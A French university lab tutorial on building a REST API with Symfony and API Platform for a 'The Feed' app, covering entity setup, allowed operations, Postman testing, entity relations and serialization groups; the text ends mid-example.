TD4 – Développement d'une API REST API, REST, API Platform
Introduction
Dans ce TD, nous allons mettre en place une API REST pour l’application The Feed que nous avons développée lors des TDs précédents. Nous n’allons pas directement poursuivre le code du site que vous avez développé (dans une API, il n’y a que le côté “back-end”, hors pages de documentation) mais vous pourrez reprendre certains bouts de code qui pourront être réutilisés (notamment les assertions).
Nous avons déjà abordé la notion d’API l’an dernier. Nous allons tout de même faire une petite remise à niveau sur les API et plus particulièrement sur les API REST.
De nos jours, les architectures qui séparent activement la partie back-end (serveur, routage, services, accès aux données) de la partie front-end (ce qui est rendu côté client, pages HTML, etc.) sont de plus en plus privilégiées. En effet, une telle séparation permet notamment d’utiliser un même serveur applicatif avec plusieurs technologies clientes (une application sur smartphone, une application Vue.js, React, etc.).
Dans ce fonctionnement, le serveur ne doit alors que renvoyer des données (généralement au format JSON, ou bien parfois XML) mais il ne se charge pas du rendu de la page. Ce sont alors les technologies clientes qui, une fois les données récupérées auprès du serveur, les utilisent pour mettre à jour leur interface. On appelle alors le programme côté back-end une API pour Application Programming Interface. Cela signifie en fait que ce programme est lui-même un service qui sert à exécuter des actions et récupérer de l’information, mais pas de document (pages web) à proprement parler.
Dans le monde des API, il existe un style architectural nommé REST pour representational state transfer. Dans cette architecture on parle de ressources pour faire référence aux différentes entités de notre service (publications, utilisateurs, commentaires…). Ces ressources doivent être désignées à travers des routes formulées de manière précise, par exemple :
-
/utilisateurs: désigne tous les utilisateurs -
/utilisateurs/1: désigne l’utilisateur 1 -
/publications: désigne toutes les publications -
/publications/3: désigne la troisième publication -
/utilisateurs/1/publications: désigne toutes les publications de l’utilisateur numéro 1 -
/utilisateurs/1/publications/5: désigne la 5e publication de l’utilisateur numéro 1
Grossièrement, on retrouve le schéma /{ensemble}/{id}/... etc.
Pour manipuler ces ressources, on utilise les méthodes HTTP suivantes :
-
GET: Récupère les données de la ressource désignée par la route. On utilise généralement cette méthode sous deux formes : soit pour récupérer un ensemble de ressources (liste) ou bien pour récupérer une ressource précise. -
POST: Crée une ressource dans l’ensemble désigné par la route avec les informations fournies dans le corps de la requête. -
PUT: Remplace complètement la ressource désignée par la route avec les informations fournies dans le corps de la requête (tous les attributs nécessaires doivent donc être spécifiés, comme pourPOST). On écrase l’ancienne ressource avec la nouvelle. -
PATCH: Met à jour partiellement les données de la ressource désignée par la route avec les informations fournies dans le corps de la requête (seuls les attributs qui ont besoin d’être mis à jour doivent être spécifiés). -
DELETE: Supprime la ressource désignée par la route.
Donc, par exemple, on pourrait avoir :
-
GET /publications: Renvoie toutes les publications. -
GET /publications/1: Renvoie les informations de la publication ayant pour identifiant 1. -
POST /publications: Crée une nouvelle publication (et renvoie ses informations). -
DELETE /utilisateurs/3: Supprime l’utilisateur numéro 3.
Bien entendu, pour une ressource donnée, le développeur n’est pas obligé d’implémenter toutes les méthodes. Parfois, il n’est pas souhaitable que toutes les opérations soient disponibles pour agir sur une ressource.
Dans les requêtes de type création / modification (POST, PUT, PATCH), le client envoie des données dans le corps de la requête, généralement sous le même format que les réponses de l’API (donc, généralement, du JSON). Ce corps de requête contenant les données est appelé payload.
En plus de cela, une API REST doit être sans état (stateless), c’est-à-dire que le serveur ne doit pas stocker d’informations sur l’état du client. Donc, par exemple, l’utilisation d’une session est interdite. À la place, le client peut stocker des données sous la forme de token qui peuvent être lus et vérifiés par le serveur. C’est notamment grâce à ce système qu’on pourra authentifier nos utilisateurs et ajouter de la sécurité sur certaines routes.
On rappelle que les commandes doivent être exécutées à l’intérieur de votre conteneur Docker.
Mise en place avec Symfony
Pour développer le plus simplement possible notre API, nous allons utiliser un outil appelé API Platform exploitable au travers de Symfony.
Cet outil est assez puissant, car il permet de centraliser une grande partie de la logique de l’API au niveau des classes entités. Il y a peu de code à écrire dans d’autres classes (sauf pour certaines opérations spécifiques plus complexes) et généralement pas du tout de contrôleur à mettre en place (sauf opérations très particulières, comme un webhook, par exemple pour Stripe). À partir des données des entités et des différents attributs, API Platform se charge de générer les routes et d’appliquer les différentes opérations de récupération, de sauvegarde, de vérification, etc. Vous n’aurez quasiment pas à manipuler de repositories par vous-même.
Vous allez vite vous rendre compte qu’il est possible de configurer beaucoup d’aspects de l’API au travers des attributs (comme nous le faisions pour les routes, par exemple). Bien sûr, nous n’allons pas explorer toutes les possibilités qu’offre l’outil aujourd’hui, mais vous pourrez pousser plus loin dans votre projet !
Comme expliqué plus tôt, nous allons créer un nouveau projet indépendamment de celui que vous avez déjà développé dans les trois premiers TDs. Il faut donc reprendre les étapes d’installation.
-
Depuis le terminal (dans le conteneur docker), assurez-vous d’être bien placé dans
/var/www/htmlpuis exécutez la commande suivante :composer create-project symfony/skeleton:"7.4.*" the_feed_apiLe projet est accessible sur votre machine (hors conteneur) dans le dossier
shared/public_html/the_feed_api. -
Toujours dans votre conteneur, installez maintenant la librairie spécifique à API Platform :
-
Dans le dossier du projet, exécutez la commande suivante :
composer require apiRépondez
n(no) à la question posée.Puis (pour générer le fichier
.htaccessdanspublic) :composer require symfony/apache-packRépondez
y(oui) à la question posée.
-
-
Donnez au serveur web les permissions pour créer et éditer des fichiers dans votre projet (à exécuter depuis la racine du projet) :
chown -R 1000:www-data .Il peut y avoir des erreurs et certaines permissions non accordées, ce n’est pas grave.
-
Ouvrez le projet, et localisez le fichier
config/packages/api_platform.yamlpuis éditez-le ainsi :api_platform: title: The Feed API version: 1.0.0 defaults: cache_headers: vary: ['Content-Type', 'Authorization', 'Origin'] formats: jsonld: ['application/ld+json'] json: ['application/json']Les deux options dans
formatsvont nous permettre d’utiliser deux formats pour la lecture et l’écriture de données :json(que vous connaissez bien) mais aussi un format plus évolué, leld+json. -
Nous allons maintenant configurer la base de données dans le fichier
.env. Configurez donc une nouvelle base nomméethe_feed_api. Pour rappel, comme nous sommes dans le conteneur, l’adresse hôte à utiliser estdb, le loginrootet le mot de passeroot. Le port est3306et la version deMySQLque nous utilisons est26.7.0(dans le conteneur). L’adresse est donc :DATABASE_URL="mysql://root:root@db:3306/the_feed_api?serverVersion=26.7.0" -
Exécutez la commande suivante afin de créer la base :
php bin/console doctrine:database:create -
En vous rendant dans le dossier du projet, videz le cache :
php bin/console cache:clear -
Rendez-vous sur votre site à l’adresse : https://localhost/the_feed_api/public/api/. Si cela fonctionne, tout est prêt. Vous devriez voir une page de documentation (vide pour le moment) générée par API Platform.
Vous aurez peut-être remarqué que, même si nous nous trouvons dans l’environnement dev, il faut vider le cache. Cela est dû au fonctionnement interne d’API Platform et malheureusement, nous ne pouvons pas vraiment faire autrement. Après certaines modifications, il faudra donc parfois vider le cache pour que les changements soient pris en compte.
Retenez donc bien cette commande :
php bin/console cache:clear
Ou bien, sa version abrégée :
php bin/console c:c
Les publications
Nous allons commencer par créer le code correspondant à la ressource publication.
Nous pourrons très rapidement tester cette première ressource grâce au récapitulatif donné par API Platform et via l’outil Postman dont nous reparlerons plus tard. Dans un second temps, nous allons configurer l’entité pour fixer des règles plus précises.
Pour le moment, comme dans le premier TD, nos publications n’auront pas d’auteurs.
Création de l’entité
Pour générer le code de base lié à l’entité publication, nous allons utiliser la commande make:entity que vous connaissez bien. Néanmoins, le bundle permettant d’utiliser ces commandes n’est pas installé. En effet, vous aurez peut-être remarqué que contrairement au premier TD, nous n’avons pas installé l’ensemble des librairies webapp (avec composer). C’est un ensemble de librairies utiles pour développer un site web traditionnel, mais dans notre cas, nous n’avons pas besoin de tout ça pour construire une API. Le bundle maker fait partie de ce lot, mais nous pouvons l’installer indépendamment.
-
Installez le bundle
maker-bundle:composer require symfony/maker-bundle --dev -
Créez une nouvelle entité
Publicationà l’aide de la commandemake:entityen ajoutant l’option--api-resourcequi permet d’indiquer à Symfony que nous créons une entité liée à API Platform.Pour les propriétés à ajouter :
-
messagede typetext(nullnon autorisé). -
datePublicationde typedatetime(nullnon autorisé).
-
-
Allez observer le code de la nouvelle classe créée dans
src/Entity. -
Videz le cache.
-
Mettez à jour la structure de votre base de données. Pour rappel, les commandes à utiliser sont :
php bin/console make:migration php bin/console doctrine:migrations:migrateVérifiez que votre base de données est bien à jour.
Comme vous pouvez le constater, en plus des attributs liés à doctrine que vous connaissez déjà, un attribut #[ApiResource] est présent. Il permet simplement d’indiquer à l’application que cette entité est une ressource de l’API. Avec cette configuration simple, notre ressource est manipulable avec toutes les méthodes HTTP.
Premières requêtes
Tout est en place pour faire nos premières requêtes ! Nous pouvons manipuler les publications via la route /api/publications à partir de la racine de notre site. Mais tout d’abord, nous allons visualiser les détails de notre nouvelle ressource.
-
Rechargez la page web de présentation de l’API : https://localhost/the_feed_api/public/api/.
-
Explorez la documentation des différentes méthodes proposées. Vous pouvez même envoyer des requêtes avec le bouton
Try it out.
Pour aller déclencher notre API, nous n’allons pas directement utiliser l’interface web proposée par API Platform, mais plutôt un logiciel nommé Postman (nous l’avions rapidement abordé dans les TDs de complément web l’an dernier).
Ce logiciel va permettre de paramétrer et d’envoyer des requêtes de manière interactive et de visualiser le résultat très simplement. Sur les machines de l’IUT, il est déjà installé. Chez vous, vous pouvez le télécharger ici.
Nous allons donc tenter de manipuler notre ressource publication à l’aide de ce logiciel !
-
Ouvrez postman. L’application vous propose de créer un compte, mais vous n’en avez pas besoin. Cliquez simplement sur “Skip signing in and take me straight to the app” tout en bas.
-
Sur l’interface, créez un nouvel onglet et paramétrez-le ainsi :
-
Dans la liste déroulante du choix des méthodes, sélectionnez
POST. -
Juste à côté, le champ permet de rentrer l’URL de la ressource à viser. Par exemple : https://localhost/the_feed_api/public/api/publications (pour Linux/macOS, il faut descendre un peu plus bas sur la page)
-
Comme mentionné plus tôt, avec les requêtes de création / modification, nous avons besoin d’un
payloadau formatJSON. Pour le configurer, rendez-vous dansBodypuis sélectionnez l’optionrawet enfin, à droite, sélectionnezJSONdans la liste déroulante (à la place deText). -
Remplissez la zone de saisie des données avec le
payloadsuivant :{ "message": "Hello world!", "datePublication": "2026-10-02T21:18:27.568Z" }
-
-
Cliquez sur Send. L’application envoie une alerte, car nous utilisons un certificat auto-signé pour pouvoir proposer
httpssur notre serveur web. Acceptez d’utiliser ce certificat “non sécurisé” et poursuivez la requête. Observez le résultat : la publication devrait vous être renvoyée (avec son identifiant) ! Ajoutez-en quelques autres. -
Ouvrez un nouvel onglet et faites en sorte de récupérer la liste de toutes les publications (il n’y a pas de
payloadà mettre dans ce cas…). -
Ouvrez un nouvel onglet et faites en sorte de récupérer une publication précise. Ici, il n’y a encore pas de
payload, l’identifiant doit être précisé au niveau de l’URL. -
Ouvrez un nouvel onglet et faites en sorte de supprimer une publication.
Configuration plus poussée
À ce stade, vous avez pu tester diverses routes pour manipuler les publications, mais vous avez pu constater quelques soucis de logique. En effet, la date est un paramètre rentré par le client. Ce qui implique qu’il doit connaître précisément la date d’envoi, mais aussi qu’il peut la falsifier (par exemple, mettre 2050 pour être la publication la plus récente…). D’ailleurs, la date qui vous est donnée plus tôt dans le payload est antérieure à aujourd’hui !
Dans le premier TD, nous avons vu comment générer cette date automatiquement, mais il faut aussi pouvoir empêcher l’utilisateur de pouvoir l’envoyer dans le payload. Dans un premier temps, nous pouvons nous aider de l’attribut #[ApiProperty]. Cet attribut se place au-dessus d’une propriété de la classe. Ses paramètres permettent de configurer la présentation de la propriété et ajouter certaines règles. Par exemple :
-
writable: true/false: autorise ou interdit l’écriture de cette propriété lors de la création/modification (par défaut, autorisé si non précisé). Si la propriété est présente dans le payload, elle est ignorée. -
readable: true/false: renvoie ou non la propriété lorsqu’on lit la ressource (par défaut, autorisé). -
description: ...: permet de décrire le rôle de la propriété plus en détail (pour la documentation destinée aux personnes souhaitant utiliser l’API).
Si on prend l’exemple suivant :
use ApiPlatform\Metadata\ApiProperty;
class Exemple {
#[ApiProperty(description: 'Description de la propriété...', readable: false)]
private ?string $propriete = null;
}
Quand on va effectuer une requête, la propriété n’apparaîtra jamais quand on va lire les données d’une entité Exemple. Cependant, il faut impérativement qu’elle soit envoyée dans le payload dans le cas d’une requête d’écriture. La description permet d’enrichir la page de documentation automatique générée par API Platform.
Les paramètres writable et readable sont utiles quand on souhaite appliquer la même logique dans n’importe quel contexte. Cependant, pour pouvoir autoriser la lecture ou l’écriture d’une propriété (ou d’une ressource) selon le contexte (droits d’accès, groupe, type de requête…) on utilisera plutôt les groupes de sérialisation (et, pour les règles de validation, les groupes de validation).
Concernant la génération automatique d’une propriété (dans notre cas, la date) nous avons déjà vu cela dans le premier TD. Il vous suffit d’ajouter l’attribut #[ORM\HasLifecycleCallbacks] au niveau de la classe puis créer une méthode initialisant la date, annotée avec l’attribut #[ORM\PrePersist].
-
Faites les modifications nécessaires au niveau de l’entité
Publicationafin qu’une date entrée dans lepayloadsoit ignorée (qu’on ne puisse pas l’écrire). Ensuite, pour que celle-ci soit plutôt générée automatiquement du côté du serveur, on pourra utiliser le code suivant qu’on avait déjà utilisé dans les TDs précédents :use DateTime; #[ORM\HasLifecycleCallbacks] class Publication { #[ORM\PrePersist] public function prePersistDatePublication() : void { $this->datePublication = new DateTime(); } } -
Nous allons reprendre les assertions de notre ancienne classe
Publicationpour la propriétémessage. Concernant l’assertionLength, nous n’allons en garder qu’une seule pour le moment, et sans son groupe de validation (nous ajouterons le premium plus tard…).use Symfony\Component\Validator\Constraints as Assert; class Publication { #[ORM\Column(type: Types::TEXT)] #[Assert\NotBlank] #[Assert\Length( min: 4, max: 50, minMessage: "Le message est trop court! ({{ limit }} caractères minimum)", maxMessage: "Le message est trop long! ({{ limit }} caractères maximum)" )] private ?string $message = null; } -
Videz le cache.
-
Sur
Postman, effectuez des requêtesPOSTafin de vérifier que :- Si on ne précise pas la date dans le payload, celle-ci est bien générée automatiquement.
- Même si une date est précisée dans le payload, celle-ci est ignorée.
- Les assertions de validation appliquées sur le message sont bien prises en compte.
Maintenant, nous aimerions interdire l’utilisation de certaines méthodes. En effet, nous ne voulons pas que les publications soient modifiables. Il faut donc interdire les méthodes PUT et PATCH, ou plutôt, autoriser seulement les autres méthodes. Pour cela, il suffit de placer de nouveaux attributs paramétrables dans notre entité afin de lister les opérations permises. Le système marche sous forme de liste blanche à partir du moment où une opération est listée : seules les opérations listées via les attributs seront autorisées.
Les opérations possibles sont :
#[GetCollection]: récupération d’un ensemble de ressources.#[Get]: récupération d’une ressource ciblée.#[Post]: création d’une ressource.#[Put]: mise à jour complète d’une ressource ciblée.#[Patch]: mise à jour partielle d’une ressource ciblée.#[Delete]: suppression d’une ressource ciblée.
Ainsi, la configuration suivante permet seulement l’utilisation de la méthode Get ciblée et Delete :
use ApiPlatform\Metadata\Get;
use ApiPlatform\Metadata\Delete;
#[ApiResource]
#[Get]
#[Delete]
class MonEntite {
...
}
Petite note à part, par défaut, #[GetCollection] utilise un système de pagination afin de limiter le nombre de ressources renvoyées (par défaut, 30). Il est alors possible de préciser un paramètre page dans le query string de la route, pour naviguer. Par exemple, /api/publications renvoie les publications de 1 à 30. Et /api/publications?page=3 renvoie les publications de 61 à 90.
Ce système est nécessaire afin de limiter les données lues côté client et ainsi charger le contenu au fur et à mesure (imaginez si vous deviez charger tout Twitter/X à chaque accès !!!). Il est possible d’augmenter le nombre de ressources renvoyées par page ou bien simplement désactiver ce système (et donc tout renvoyer à chaque fois). Par convenance dans le cadre de ce TD, nous allons donc désactiver ce système, mais retenez bien que dans un contexte réel, il faudrait le conserver et charger le contenu petit à petit, au fil du parcours de l’utilisateur.
Pour configurer tout cela, il existe deux moyens.
Premièrement, on peut éditer le contenu du fichier config/packages/api_platform.yaml pour appliquer nos règles globalement, pour toutes les ressources :
# Dans config/packages/api_platform.yaml
api_platform:
...
defaults:
...
pagination_enabled: true/false # Active ou désactive la pagination
pagination_items_per_page: 30 # Pour changer le nombre de ressources renvoyées si la pagination est activée
Ou bien, on peut plutôt cibler l’opération précise, en ajoutant les paramètres directement sur l’attribut #[GetCollection] :
use ApiPlatform\Metadata\GetCollection;
#[ApiResource]
#[GetCollection(
paginationEnabled: true/false,
paginationItemsPerPage: x
)]
class MonEntite {
...
}
Dans le cadre du TD, nous allons plutôt choisir la deuxième solution, et configurer directement ces paramètres sur l’opération en question.
Toujours au niveau de l’attribut #[GetCollection], il est possible de rajouter un paramètre order pour spécifier comment sont ordonnés les résultats de la requête.
On le spécifie ainsi : #[GetCollection(order: ["attribut1" => "ASC ou DESC", "attribut2" => "ASC ou DESC", ...])].
On trie les résultats par rapport au premier attribut spécifié puis, en cas d’égalité, par rapport au second, et ainsi de suite (similaire au ORDER BY en SQL). Les valeurs ASC ou DESC permettent de spécifier le sens du tri (croissant ou décroissant).
use ApiPlatform\Metadata\GetCollection;
#[ApiResource]
//Quand on récupère l'ensemble des entreprises, elles sont triées de celle possédant le plus gros CA à celle possédant le plus petit CA.
#[GetCollection(
...,
order: ["chiffreAffaire" => "DESC"]
)]
class Entreprise {
private ?string $nom = null;
private ?float $chiffreAffaire = null;
}
-
Au niveau de
Publication, autorisez seulement l’utilisation des méthodesGET(ciblé + collection),POSTetDELETE. Vous devez donc ajouter quatre attributs PHP. -
Au niveau de votre attribut
#[GetCollection], désactivez la pagination et faites en sorte que la collection renvoyée soit triée de la publication la plus récente à la plus ancienne. -
Videz le cache.
-
En utilisant
Postman, vérifiez qu’il n’est effectivement plus possible d’utiliser les méthodesPATCHetPUT. Vérifiez aussi que les autres méthodes fonctionnent toujours, et que la récupération de la collection des publications est adéquatement triée.
Parfait, vous avez configuré votre première ressource ! Comme vous l’avez constaté, nous n’avons pas eu besoin de produire du code hors de la classe Publication pour faire tout cela.
Les utilisateurs
Il est temps de nous attaquer à la création de nos utilisateurs qui vont, eux aussi, être des ressources de l’application.
Pour créer la ressource Utilisateur, nous n’allons pas nous embêter et reprendre la classe Utilisateur (et son repository) que vous avez déjà développés dans le projet précédent et l’adapter légèrement. En fait, pour spécifier que notre entité est une ressource de l’API, il suffit de rajouter l’attribut #[ApiResource] au-dessus de la classe.
-
Téléchargez puis importez la classe Utilisateur dans
src/Entityainsi que la classe UtilisateurRepository danssrc/Repository. Il s’agit (en partie) de l’entitéUtilisateurque vous avez déjà développée lors des TDs précédents. Pour l’instant, nous ne faisons pas le lien entre publication et utilisateur. De même, nous ne gérerons pas l’upload de photo de profil dans notre API (cela est néanmoins possible !). Certaines propriétés liées à la gestion de l’utilisateur (mot de passe, rôle, etc.) sont commentées (ne supprimez rien). Nous réactiverons tout cela un peu plus tard, quand il faudra authentifier l’utilisateur. -
Faites en sorte que cette entité soit utilisée comme une ressource et autorisez toutes les opérations à l’exception de la méthode
PUT(mise à jour partielle avecPATCHautorisée, mais pas de mise à jour complète avecPUT). -
Faites en sorte que la propriété premium puisse être lue, mais jamais écrite.
-
Videz le cache.
-
Synchronisez vos changements avec la base de données (souvenez-vous des 2 commandes à utiliser…)
-
Rechargez la page listant les opérations de l’API et vérifiez que votre ressource utilisateur apparaît bien.
-
Testez de créer des utilisateurs (login/adresseEmail, pas de mot de passe pour le moment) et vérifiez que vos contraintes sont respectées (essayez de rentrer un login trop court ou trop long, une adresse email au mauvais format, etc.). Vérifiez aussi que, même si la propriété
premiumest précisée dans le payload, avec la valeurtrue, elle est ignorée (la valeurpremiumde l’utilisateur reste àfalse). -
Testez la modification d’un utilisateur existant avec
PATCH, en configurant la requête correctement, surPostman. Là aussi, on doit pouvoir modifier le login et l’adresse email, mais toute modification sur le statut premium est ignorée. On envoie le même type depayloadque lors d’unPOST, sauf qu’on indique seulement les attributs qu’on souhaite mettre à jour. -
Testez également la méthode
GET(récupérer tous les utilisateurs, récupérer un utilisateur précis…)
Connexion entre les publications et les utilisateurs
Avant de mettre en place un système d’authentification, nous allons relier nos publications à nos utilisateurs.
Associations
Pour faire en sorte qu’une publication possède un auteur, nous allons utiliser la commande make:entity pour modifier la classe Publication, en ajoutant un attribut de type relation, exactement comme vous l’aviez fait dans le TD2.
-
En utilisant la commande
make:entity, mettez à jour votre entitéPublicationen ajoutant une propriétéauteurqui sera un Utilisateur :-
La propriété ne peut pas être nulle.
-
La relation est bi-directionnelle (on doit avoir la liste des publications côté utilisateurs). Nommez cette propriété
publicationscôté Utilisateur. -
Activez la suppression des entités orphelines.
-
-
On souhaite que lorsqu’un utilisateur est supprimé, toutes ses publications soient également supprimées. Pour cela, on peut donc utiliser la stratégie de suppression
CASCADEque nous avons vue auparavant. Dans le TD2, nous avons aussi parlé des deux modes pour charger une entité issue d’une relation : le lazy loading et le eager loading. Ici, on souhaite que les données de l’auteur soient chargées quand les données de la publication sont chargées. Activez la stratégie de suppressionCASCADEainsi que le mode de chargementEAGERsur la propriété correspondant à l’auteur d’une publication :#[ORM\ManyToOne(fetch: 'EAGER', inversedBy: 'publications')] #[ORM\JoinColumn(nullable: false, onDelete: 'CASCADE')] private ?Utilisateur $auteur = null; -
Ajoutez les assertions (contraintes) nécessaires pour “forcer” l’utilisateur à préciser l’auteur lorsqu’il crée une publication. Il faut que l’auteur ne soit pas absent du payload de la requête (not blank).
-
Dans votre base de données, supprimez toutes vos publications (un champ non null va être ajouté ce qui va causer des problèmes si on laisse les publications actuelles, sans auteur).
-
Mettez à jour la structure de votre base de données avec les commandes adéquates.
-
Videz le cache.
-
Sur
Postman, vérifiez que vous obtenez un message d’erreur si vous tentez d’ajouter une publication sans préciser son auteur. Ce message doit être un message issu de l’application, et pas de la base de données. -
Maintenant, tentez d’ajouter une publication en précisant l’identifiant numérique (son id, entre double quotes) de l’utilisateur pour la partie
auteur. Analysez le message d’erreur que vous obtenez. Par exemple :{ "message": "Hello world!", "auteur" : "1" } -
La valeur à préciser pour faire référence à une autre ressource est appelée
IRI(Internationalized Resource Identifier) qui est une référence (un “lien”) interne à l’application. Pour le trouver, récupérez (avec une requêteGET) les détails d’un de vos utilisateurs. Il faut regarder au niveau de la propriété@id.Attention, selon l’installation du projet sur votre serveur web, la route décrite dans
@idn’est pas forcément la même. L’IRIcorrespond au chemin qui débute par/the_feed_api/.... Dans certains cas, il est aussi possible de directement créer la ressource liée en précisant ses informations dans un sous-document, mais ce n’est pas ce que nous souhaitons faire ici (on ne veut pas créer un utilisateur lorsqu’on crée une publication) et nous ne verrons pas ce mécanisme dans le cadre de ce TD (mais il sera détaillé dans des notes complémentaires). -
Une fois le mécanisme des
IRIcompris, retentez de créer une publication en affectant un utilisateur. -
Ajoutez plusieurs publications liées à un utilisateur et vérifiez que la suppression de l’utilisateur entraîne la suppression des publications qui lui sont liées.
Les groupes de sérialisation
Vous remarquerez que quand on affiche la liste des publications ou une publication précise, au niveau de l’auteur, seul son IRI est indiqué. Cela est gênant, car si on veut connaître les détails de l’auteur (par exemple son login) on est obligé de faire une requête supplémentaire.
Il serait donc plutôt préférable d’afficher les détails de l’utilisateur à la place. Nous pouvons faire cela grâce aux groupes de sérialisation.
Quand on manipule nos ressources, il peut exister deux types de contextes :
-
La normalisation : quand on transforme un objet de l’application en
JSONet qu’on le renvoie au client (requête de lecture, type GET, mais aussi ce qui est renvoyé après avoir créé/mis à jour une entité). -
La dénormalisation : quand on charge un
payloadau formatJSONet qu’on le transforme en objet de l’application (requêtes de création ou de mise à jour : POST/PUT/PATCH).
Dans les deux cas, il peut être possible de définir des groupes pour contrôler la présence d’une propriété :
-
Dans le cas de la normalisation, il est donc possible de contrôler quelles propriétés sont sérialisées, c’est-à-dire renvoyées au client sous le format
JSON. -
Dans le cas de la dénormalisation, il est possible de contrôler les propriétés du payload à ignorer, dans tel ou tel contexte (par exemple, si on veut que le login soit précisé lors de la création d’un compte, mais qu’il ne doit pas pouvoir changer lors d’une mise à jour…)
Présentement, nous allons d’abord nous intéresser à la normalisation pour qu’on puisse représenter quelques données de l’auteur d’une publication.
Un paramètre de l’attribut #[ApiResource(...)] nommé normalizationContext: ["groups" => ['nom_groupe1', ...]] permet d’activer certains groupes pendant la phase de normalisation. Au niveau des propriétés, l’attribut #[Groups(['nom_groupe1', 'nom_groupe2', ...])] permet de faire en sorte qu’une propriété soit affichée ou non dans le document JSON selon le groupe activé.
Par exemple :
use Symfony\Component\Serializer\Attribute\Groups;
#[ApiResource(
...
normalizationContext: ["groups" => ["serialization:etudiant:read"]],
)]
class Etudiant {
#[Groups(['serialization:etudiant:read'])]
private ?int $id = null;
#[Groups(['serialization:etudiant:read'])]
private ?string $nom = null;
#[Groups(['serialization:etudiant:read'])]
private ?string $prenom = null;
public ?Groupe $groupe = null;
}
use Symfony\Component\Serializer\Attribute\Groups;
#[ApiResource(
...
normalizationContext: ["groups" => ["serialization:groupe:read"]],
)]
class Groupe {
#[Groups(['serialization:groupe:read'])]
private ?int $id = null;
#[Groups(['serialization:groupe:read'])]
private ?string $nomGroupe = null;
public Collection $etudiants;
}
Ici, quand on récupère les données d’un étudiant, on affiche seulement son id, son nom, son prénom, mais pas son groupe (même pas d’IRI).
Pour les groupes, on affiche tout sauf la liste des étudiants (qui aurait été une liste d’IRI aussi).
Pour qu’on obtienne aussi l’identifiant et le nom du groupe quand on lit les données d’un étudiant, il faut d’abord préciser le groupe serialization:etudiant:read au niveau de la propriété groupe et il faut ensuite ajouter le groupe serialization:etudiant:read sur chaque propriété de la classe Groupe qu’on souhaite afficher quand on rend le groupe d’un utilisateur :
use Symfony\Component\Serializer\Attribute\Groups;
#[ApiResource(
...
normalizationContext: ["groups" => ["serialization:etudiant:read"]],
)]
class Etudiant {
#[Groups(['serialization:etudiant:read'])]
private ?int $id = null;
#[Groups(['serialization:etudiant:read'])]
private ?string $nom = null;
#[Groups(['serialization:etudiant:read'])]
private ?string $prenom = null;
#[Groups(['serialization:etudiant:read'])]
public ?Groupe $groupe = null;
}
use Symfony\Component\Serializer\Attribute\Groups;
#[ApiResource(
...
normalizationContext: ["groups" => ["serialization:groupe:read"]],
)]
class Groupe {
#[Groups(['serialization:groupe:read', 'serialization:etudiant:read'])]
private ?int $id = null;
#[Groups(['serialization:groupe:read', 'serialization:etudiant:read'])]
private ?string $nomGroupe = null;
public Collection $etudiants;
}
Si ce n’est pas encore clair, ce que nous faisons ici, c’est dire à quel groupe appartient telle ou telle propriété. Lorsque l’API traite une requête (en GET, en POST, etc.) elle n’activera pas les mêmes groupes, selon le contexte. Ces groupes définissent les propriétés qui sont renvoyées dans le JSON lors de requêtes de lecture (type GET) et à l’inverse ce qui est traité (ou ignoré, si le groupe ne correspond pas) dans le payload lors d’une requête d’écriture (POST, PUT, PATCH…).
Bref, les groupes activés dans normalizationContext traversent les entités ! Il est aussi possible de définir plusieurs groupes (affichant plus ou moins de propriétés selon le contexte). On peut même créer une classe et une méthode permettant de coder un algorithme pour savoir quels groupes sont activés (par exemple, pour afficher plus d’informations à un utilisateur connecté…).
Il faut éviter de se retrouver dans une situation de “cycle” (par exemple, un étudiant donne aussi les infos de son groupe, qui donne les infos sur ses étudiants, qui donne les infos de leur groupe, etc.).
Si vous avez bien compris ce mécanisme, à vous de jouer !
-
En utilisant les groupes de sérialisation, faites en sorte que quand on lit une publication (avec toutes les opérations qui renvoient la ressource), on obtienne aussi les détails de l’utilisateur (id, login, adresse email, premium).
-
Videz le cache.
-
Testez en appelant la méthode
GETgénérale, mais aussi en ciblant une publication en particulier.
Nous avons défini normalizationContext de manière globale, pour toutes les opérations de la ressource. Voici quelques précisions et variantes supplémentaires sur les groupes de sérialisation : elles ne sont pas indispensables pour la suite du TD, mais pourront vous être utiles par la suite.
Il est aussi possible d’appliquer des groupes seulement sur certaines opérations. Il suffit de définir le paramètre normalizationContext sur l’opération voulue :
#[ApiResource]
#[GetCollection(
normalizationContext: ["groups" => ["serialization:etudiant:read"]],
)]
#[Get(
normalizationContext: ["groups" => ["serialization:etudiant:read", "serialization:groupe:read"]],
)]
class Etudiant {
#[Groups(['serialization:etudiant:read'])]
private ?int $id = null;
#[Groups(['serialization:etudiant:read'])]
private ?string $nom = null;
#[Groups(['serialization:etudiant:read'])]
private ?string $prenom = null;
#[Groups(['serialization:etudiant:read'])]
public ?Groupe $groupe = null;
}
#[ApiResource(
normalizationContext: ["groups" => ["serialization:groupe:read"]],
)]
class Groupe {
#[Groups(['serialization:groupe:read'])]
private ?int $id = null;
#[Groups(['serialization:groupe:read'])]
private ?string $nomGroupe = null;
public Collection $etudiants;
}
Ici, sur l’opération #[GetCollection], les détails du groupe imbriqués ne sont pas affichés, alors que dans l’opération #[Get], les détails du groupe sont affichés.
Il est important de définir les groupes sur les autres opérations d’écriture (POST/PATCH/PUT) si elles sont activées, car ces opérations renvoient aussi la ressource, à la fin du traitement. Il est tout à fait possible d’appliquer un groupe global puis de définir des sous-groupes juste pour les opérations spéciales, qui divergent du comportement global. Par exemple :
//Toutes les opérations utilisent le groupe serialization:etudiant:read, sauf GET, qui a deux groupes activés
#[ApiResource(
normalizationContext: ["groups" => ["serialization:etudiant:read"]],
)]
#[Get(
normalizationContext: ["groups" => ["serialization:etudiant:read", "serialization:groupe:read"]],
)]
#[GetCollection]
#[Post]
#[Patch]
class Etudiant {
...
}
Cependant, ce système peut devenir assez lourd, quand il y a beaucoup d’entités/de groupes. On aurait pu alors plutôt préciser directement le groupe serialization:groupe:read dans l’attribut normalizationContext de la classe Etudiant :
use Symfony\Component\Serializer\Attribute\Groups;
#[ApiResource(
...,
normalizationContext: ["groups" => ["serialization:etudiant:read", "serialization:groupe:read"]],
)]
class Etudiant {
#[Groups(['serialization:etudiant:read'])]
private ?int $id = null;
#[Groups(['serialization:etudiant:read'])]
private ?string $nom = null;
#[Groups(['serialization:etudiant:read'])]
private ?string $prenom = null;
#[Groups(['serialization:etudiant:read'])]
public ?Groupe $groupe = null;
}
use Symfony\Component\Serializer\Attribute\Groups;
#[ApiResource(
...,
normalizationContext: ["groups" => ["serialization:groupe:read"]],
)]
class Groupe {
#[Groups(['serialization:groupe:read'])]
private ?int $id = null;
#[Groups(['serialization:groupe:read'])]
private ?string $nomGroupe = null;
